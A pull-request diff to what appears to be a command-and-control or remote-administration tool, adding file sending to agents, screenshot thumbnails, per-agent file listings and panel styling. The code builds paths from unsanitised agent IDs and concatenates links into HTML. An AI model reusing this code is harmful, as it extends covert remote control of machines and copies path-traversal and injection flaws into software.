Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 3 additions & 1 deletion agent/agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -178,7 +178,9 @@ def download(self, file, destination=''):
for chunk in req.iter_content(chunk_size=8000):
if chunk:
f.write(chunk)
self.send_output("[+] File downloaded: " + destination)

# For getting real local path on the agent:
self.send_output("[+] File downloaded: " + os.getcwd() + "/" + destination)
except Exception as exc:
self.send_output(traceback.format_exc())

Expand Down
4 changes: 2 additions & 2 deletions server/api/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -130,7 +130,7 @@ def upload(agent_id):
file_path = os.path.join(store_dir, filename)
file.save(file_path)
download_link = url_for('webui.uploads', path=agent_dir + '/' + filename)
agent.output += '[*] File uploaded: <a target="_blank" href="' + download_link + '">' + download_link + '</a>\n'
agent.output += '[*] File uploaded: <a target="_blank" href="' + download_link + '"><img class="screenshot" src="' + download_link + '"></img></a>\n'
db.session.add(agent)
db.session.commit()
return ''
return ''
Binary file added server/models.pyc
Binary file not shown.
47 changes: 46 additions & 1 deletion server/webui/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -20,6 +20,10 @@
from models import Command
from models import User

from werkzeug import secure_filename

import os


def hash_and_salt(password):
password_hash = hashlib.sha256()
Expand Down Expand Up @@ -119,7 +123,28 @@ def agent_detail(agent_id):
agent = Agent.query.get(agent_id)
if not agent:
abort(404)
return render_template('agent_detail.html', agent=agent)

# FileList
path = os.path.dirname(os.path.dirname(__file__))
myfiles = os.path.join(path, 'uploads/' + agent_id + '/')

# If it's a new Agent, have to create folder first
if not os.path.exists(myfiles):
os.makedirs(myfiles)

os.chdir(myfiles)
x = 0
d = {}
files = sorted(os.listdir(os.getcwd()), key=os.path.getmtime) # Ordered by time creation

for file in reversed(files):
if not os.path.isdir(file): # Not folders
d[x] = (myfiles + file)
x = x + 1

os.chdir(path)

return render_template('agent_detail.html', agent=agent, filelist=d)


@webui.route('/agents/rename', methods=['POST'])
Expand All @@ -137,3 +162,23 @@ def rename_agent():
@webui.route('/uploads/<path:path>')
def uploads(path):
return send_from_directory(current_app.config['UPLOAD_FOLDER'], path)

# This uploads the file that you want to send to the Agent.
# For sending the file we have to locate it in a URL for downloading then
# So now, we can Drag & Drop files to the File Input and send directly
@webui.route('/sendfile/<agent_id>', methods=['GET', 'POST'])
@require_admin
def upload_file(agent_id):
UPLOAD_DIRECTORY = 'uploads/'
if request.method == 'POST':
file = request.files['file']
if file:
agent_dir = os.path.join(UPLOAD_DIRECTORY, agent_id)
updir = os.path.join(agent_dir, 'sentfiles')
if not os.path.exists(updir):
os.makedirs(updir)
filename = secure_filename(file.filename)
full_path = os.path.join(updir, filename)
file.save(full_path)
return full_path
return "Error uploading file"
80 changes: 80 additions & 0 deletions server/webui/static/css/stylesheet.css
Original file line number Diff line number Diff line change
Expand Up @@ -256,3 +256,83 @@ a {
text-align:center;
border-radius:5px;
}

.screenshotimage {
max-width: 75%;
}

.upload-area{
width: 70%;
height: 200px;
border: 2px solid lightgray;
border-radius: 3px;
margin: 0 auto;
margin-top: 100px;
text-align: center;
overflow: auto;
}

.upload-area:hover{
cursor: pointer;
}

.upload-area h1{
text-align: center;
font-weight: normal;
font-family: sans-serif;
line-height: 50px;
color: darkslategray;
}

/* Thumbnail */
.thumbnail{
width: 80px;
height: 80px;
padding: 2px;
border: 2px solid lightgray;
border-radius: 3px;
float: left;
}

.size{
font-size:12px;
}

#screenshots {
white-space: nowrap;
overflow: hidden;
max-height: 165px;
margin-bottom: 15px;
}

.screenshot {
max-width: 150px;
min-height: 150px;
max-height: 150px;
margin-right: 5px;
border: 3px solid green;
border-style: dashed;
}
.screenshot-seen {
max-width: 150px;
min-height: 150px;
max-height: 150px;
margin-right: 5px;
border: 3px solid grey;
}

#termtext {
font-size: 16px;
color: #0f4632;
font-weight: bold;
}

#dropfile {
padding-left: 0 !important;
padding-right: 0 !important;
text-align: center;
}

#filetosend {
display: none;
}
Loading